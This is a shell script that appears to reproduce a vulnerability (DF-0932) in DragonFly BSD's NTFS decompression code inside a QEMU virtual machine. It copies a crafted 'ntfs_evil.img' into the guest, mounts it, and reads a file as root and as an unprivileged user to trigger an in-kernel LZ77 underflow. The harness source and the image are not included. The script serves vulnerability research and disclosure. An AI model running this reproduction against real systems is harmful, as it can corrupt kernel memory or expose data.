#!/bin/sh
# DF-0932 run: harness + live in-kernel reproduction.
VM="${VM:-./dfbsd-qemu/vm.sh}"
SCP="scp -F dfbsd-qemu/config"

set -e
cd "$(dirname "$0")"

echo "[run] host: copy harness + image to guest"
$SCP -q harness.c dfbsd-maxx:poc/DF-0932/harness.c
$SCP -q ntfs_evil.img dfbsd:/root/ntfs_evil.img

echo
echo "=== deterministic harness (transcribes ntfs_uncompblock:46-93) ==="
ssh -F dfbsd-qemu/config dfbsd-maxx 'cd poc/DF-0932 && cc -O2 -o harness harness.c && ./harness'

echo
echo "=== live in-kernel LZ77 underflow (kernel #0 GENERIC) ==="
$VM run_root 'umount /mnt/evil 2>/dev/null; for d in vn0 vn1 vn2 vn3; do vnconfig -u $d 2>/dev/null; done; vnconfig -c vn0 /root/ntfs_evil.img; mkdir -p /mnt/evil; mount -t ntfs -o ro,-u=1001,-g=1001 /dev/vn0 /mnt/evil; for i in 1 2 3 4 5; do find / -name "*.ko" > /dev/null 2>&1; done; for i in 1 2 3; do echo "root read $i: $(cat /mnt/evil/F 2>/dev/null | head -c 16 | od -An -tx1 | tr -d " \\n")"; done'
echo "--- as unprivileged maxx (uid 1001) ---"
$VM run_user 'cat /mnt/evil/F 2>/dev/null | head -c 16 | od -An -tx1; echo "RC=$?"'

echo "RUN_DONE"